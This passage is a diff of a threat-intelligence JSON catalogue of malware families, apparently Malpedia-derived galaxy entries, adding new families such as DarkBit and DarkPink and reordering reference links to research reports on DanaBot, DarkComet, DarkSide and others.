"https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c7fb0acb-018b-47eb-8555-5a0291e2505e", + "value": "Crytox" + }, { "description": "", "meta": { @@ -19050,9 +20278,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ctb_locker", - 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"related": [ - { - "dest-uuid": "2a56538f-7c21-44b3-b438-5baa025ed005", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "92960f1f-5099-4e38-a177-14a5e3b8d601", "value": "Dairy" }, @@ -19357,45 +20574,47 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://research.checkpoint.com/danabot-demands-a-ransom-payment/", - "https://www.zscaler.com/blogs/security-research/spike-danabot-malware-activity", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.zscaler.com/blogs/security-research/danabot-launches-ddos-attack-against-ukrainian-ministry-defense", - "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", - "https://security-soup.net/decoding-a-danabot-downloader/", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - 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"https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html", - "https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", "https://malverse.it/costruiamo-un-config-extractor-per-danabot-parte-1", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.bitdefender.com/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack/", + "https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/", "https://asert.arbornetworks.com/danabots-travels-a-global-perspective/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.zscaler.com/blogs/security-research/danabot-launches-ddos-attack-against-ukrainian-ministry-defense", + "https://research.checkpoint.com/danabot-demands-a-ransom-payment/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.mandiant.com/resources/supply-chain-node-js", + "https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://malwareandstuff.com/deobfuscating-danabots-api-hashing/", + "https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html", "https://asec.ahnlab.com/en/30445/", + "https://www.zscaler.com/blogs/security-research/technical-analysis-danabot-obfuscation-techniques", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://blog.lexfo.fr/danabot-malware.html", + "https://security-soup.net/decoding-a-danabot-downloader/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/", + "https://www.proofpoint.com/us/blog/threat-insight/new-year-new-version-danabot", + "https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/", + "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://blogs.blackberry.com/en/2021/11/threat-thursday-danabot-malware-as-a-service", + "https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://www.proofpoint.com/us/threat-insight/post/danabot-control-panel-revealed", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.welivesecurity.com/2018/12/06/danabot-evolves-beyond-banking-trojan-new-spam/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.proofpoint.com/us/threat-insight/post/danabot-gains-popularity-and-targets-us-organizations-large-campaigns", + "https://www.zscaler.com/blogs/security-research/spike-danabot-malware-activity", + "https://www.welivesecurity.com/2018/12/06/danabot-evolves-beyond-banking-trojan-new-spam/", "https://blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/", - "https://malwareandstuff.com/deobfuscating-danabots-api-hashing/", + "https://twitter.com/f0wlsec/status/1459892481760411649", + "https://assets.virustotal.com/reports/2021trends.pdf", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [], @@ -19409,13 +20628,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot", - "https://cyberx-labs.com/blog/deep-dive-into-the-lyceum-danbot-malware/", - "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf", "https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-lyceum", - "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://cyberx-labs.com/blog/deep-dive-into-the-lyceum-danbot-malware/", + "https://otx.alienvault.com/pulse/5d4301edb3f3406ac01acc0f", + "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf", "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", - "https://otx.alienvault.com/pulse/5d4301edb3f3406ac01acc0f" + "https://www.youtube.com/watch?v=FttiysUZmDw" ], "synonyms": [], "type": [] @@ -19423,29 +20642,60 @@ "uuid": "98d3c6b3-c29f-46ba-b24d-88b135cd3183", "value": "danbot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit", + "https://blogs.blackberry.com/en/2023/02/darkbit-ransomware-targets-israel", + "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware-Windows-DarkBit/README.md", + "https://www.microsoft.com/en-us/security/blog/2023/04/07/mercury-and-dev-1084-destructive-attack-on-hybrid-environment/", + "https://twitter.com/luc4m/status/1626535098039271425", + "https://labs.k7computing.com/index.php/muddywater-back-with-darkbit/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "abf5436b-23e4-4dec-8c98-0e95a499be78", + "value": "DarkBit" + }, + { + "description": "Stealer is written in Visual Basic.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud", + "https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "43601d72-1df5-4d95-8cdc-ad9754aa5d72", + "value": "DarkCloud Stealer" + }, { "description": "DarkComet is one of the most famous RATs, developed by Jean-Pierre Lesueur in 2008. After being used in the Syrian civil war in 2011, Lesuer decided to stop developing the trojan. Indeed, DarkComet is able to enable control over a compromised system through use of a simple graphic user interface. Experts think that this user friendliness is the key of its mass success.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcomet", - "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.DarkComet", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", - "https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://content.fireeye.com/apt/rpt-apt38", - "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", - "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", "https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html", + "https://content.fireeye.com/apt/rpt-apt38", "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", + "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.DarkComet", + "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", - "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", - "https://www.tgsoft.it/files/report/download.asp?id=7481257469", - "https://www.sysnet.ucsd.edu/sysnet/miscpapers/darkmatter-www20.pdf", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/", + "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", + "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.sysnet.ucsd.edu/sysnet/miscpapers/darkmatter-www20.pdf", + "https://www.tgsoft.it/files/report/download.asp?id=7481257469", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [ @@ -19455,18 +20705,23 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "15949ecb-1f2b-4f59-9cf7-5751694e8fba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "5086a6e0-53b2-4d96-9eb3-a0237da2e591", "value": "DarkComet" }, + { + "description": "Mandiant associates this with UNC4191, this malware spreads to removable drives.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew", + "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia", + "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "16d9f98d-4da6-419d-89f7-8c30418255ae", + "value": "DARKDEW" + }, { "description": "", "meta": { @@ -19524,8 +20779,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi", - "http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html", - "http://stopmalvertising.com/rootkits/analysis-of-darkmegi-aka-npcdark.html" + "http://stopmalvertising.com/rootkits/analysis-of-darkmegi-aka-npcdark.html", + "http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html" ], "synonyms": [], "type": [] @@ -19538,8 +20793,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon", - "http://contagiodump.blogspot.com/2010/01/jan-17-trojan-darkmoonb-exe-haiti.html", "https://www.f-secure.com/v-descs/trojan-downloader_w32_chymine_a.shtml", + "http://contagiodump.blogspot.com/2010/01/jan-17-trojan-darkmoonb-exe-haiti.html", "http://contagiodump.blogspot.com/2010/07/cve-2010-2568-keylogger-win32chyminea.html" ], "synonyms": [ @@ -19550,6 +20805,19 @@ "uuid": "81ca4876-b4a4-43e9-b8a9-8a88709dd3d2", "value": "Darkmoon" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpink", + "https://www.group-ib.com/media-center/press-releases/dark-pink-apt/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f3522624-a704-4d74-8c21-1c863ab6d5eb", + "value": "DarkPink" + }, { "description": "", "meta": { @@ -19560,15 +20828,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "7e9f46aa-d5d1-11e8-b782-e71d52d8ac7c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "1aecd6eb-80e2-4598-8504-d93f69c7a8f0", "value": "DarkPulsar" }, @@ -19583,15 +20842,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "c9e6e42a-65c0-418e-ab77-09bcdb1214a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "bcff979f-2b4b-41cc-86c9-fe1ea3adce6e", "value": "DarkRat" }, @@ -19614,129 +20864,130 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside", - "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", - "https://www.metabaseq.com/recursos/inside-darkside-the-ransomware-that-attacked-colonial-pipeline#", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html", - "https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/", - "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", - "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", - "https://www.secjuice.com/blue-team-detection-darkside-ransomware/", - "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", - "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.repubblica.it/economia/finanza/2021/04/28/news/un_sospetto_attacco_telematico_blocca_le_filiali_della_bcc_di_roma-298485827/", - "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", - "http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", - "https://www.secureworks.com/research/threat-profiles/gold-waterfall", - "https://www.youtube.com/watch?v=NIiEcOryLpI", - "https://id-ransomware.blogspot.com/2020/08/darkside-ransomware.html", - "https://brandefense.io/darkside-ransomware-analysis-report/", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", "https://www.varonis.com/blog/darkside-ransomware/", - "https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack", - "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", - "https://blog.360totalsecurity.com/en/darksides-targeted-ransomware-analysis-report-for-critical-u-s-infrastructure-2/", - "https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/", - "https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions", "https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-attack-vector-evolution", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-gang-returns-as-new-blackmatter-operation/", - "https://threatpost.com/guess-fashion-data-loss-ransomware/167754/", - "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", - "https://zawadidone.nl/darkside-ransomware-analysis/", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/", - "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/", - "https://www.acronis.com/en-us/articles/darkside-ransomware/", - "https://unit42.paloaltonetworks.com/darkside-ransomware/", - "https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-leak-service-in-iran/", - "https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/", - "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", - "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", - "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", - "https://twitter.com/GelosSnake/status/1451465959894667275", - "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://community.riskiq.com/article/fdf74f23", - "https://twitter.com/sysopfb/status/1422280887274639375", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware", - "https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/", - "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", - "https://blog.group-ib.com/blackmatter2", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack", + "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.secjuice.com/blue-team-detection-darkside-ransomware/", "https://blog.cyble.com/2021/08/05/blackmatter-under-the-lens-an-emerging-ransomware-group-looking-for-affiliates/", - "https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html", - "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", - "https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/", + "https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/", + "https://www.secureworks.com/research/threat-profiles/gold-waterfall", + "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://unit42.paloaltonetworks.com/darkside-ransomware/", "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://www.glimps.fr/lockbit3-0/", - "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/", + "https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/", + "https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf", + "https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "http://ti.dbappsecurity.com.cn/blog/index.php/2021/05/10/darkside/", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://socprime.com/blog/affiliates-vs-hunters-fighting-the-darkside/", + "https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/", + "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://www.repubblica.it/economia/finanza/2021/04/28/news/un_sospetto_attacco_telematico_blocca_le_filiali_della_bcc_di_roma-298485827/", + "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://zawadidone.nl/darkside-ransomware-analysis/", + "https://asec.ahnlab.com/en/34549/", + "https://id-ransomware.blogspot.com/2020/08/darkside-ransomware.html", + "https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.acronis.com/en-us/articles/darkside-ransomware/", + "https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.ic3.gov/Media/News/2021/211101.pdf", + "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", + "https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968", + "https://www.splunk.com/en_us/blog/security/the-darkside-of-the-ransomware-pipeline.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://twitter.com/ValthekOn/status/1422385890467491841?s=20", + "https://www.metabaseq.com/recursos/inside-darkside-the-ransomware-that-attacked-colonial-pipeline#", + "https://brandefense.io/darkside-ransomware-analysis-report/", + "https://twitter.com/sysopfb/status/1422280887274639375", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://community.riskiq.com/article/fdf74f23", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf", + "https://blog.360totalsecurity.com/en/darksides-targeted-ransomware-analysis-report-for-critical-u-s-infrastructure-2/", + "https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6", "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", "https://www.nozominetworks.com/blog/how-to-analyze-malware-for-technical-writing/", - "https://www.splunk.com/en_us/blog/security/the-darkside-of-the-ransomware-pipeline.html", - "https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/", - "https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf", - "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", - "https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968", - "https://asec.ahnlab.com/en/34549/", - "https://www.mandiant.com/resources/burrowing-your-way-into-vpns", + "https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-leak-service-in-iran/", + "https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", "https://zetter.substack.com/p/anatomy-of-one-of-the-first-darkside", - "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", - "https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/", - "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", - "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", - "https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6", - "https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf", - "https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", - "https://twitter.com/ValthekOn/status/1422385890467491841?s=20", + "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", + "https://twitter.com/GelosSnake/status/1451465959894667275", "https://blog.group-ib.com/blackmatter#", "https://us-cert.cisa.gov/ncas/alerts/aa21-131a", - "https://krebsonsecurity.com/2021/05/a-closer-look-at-the-darkside-ransomware-gang/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - 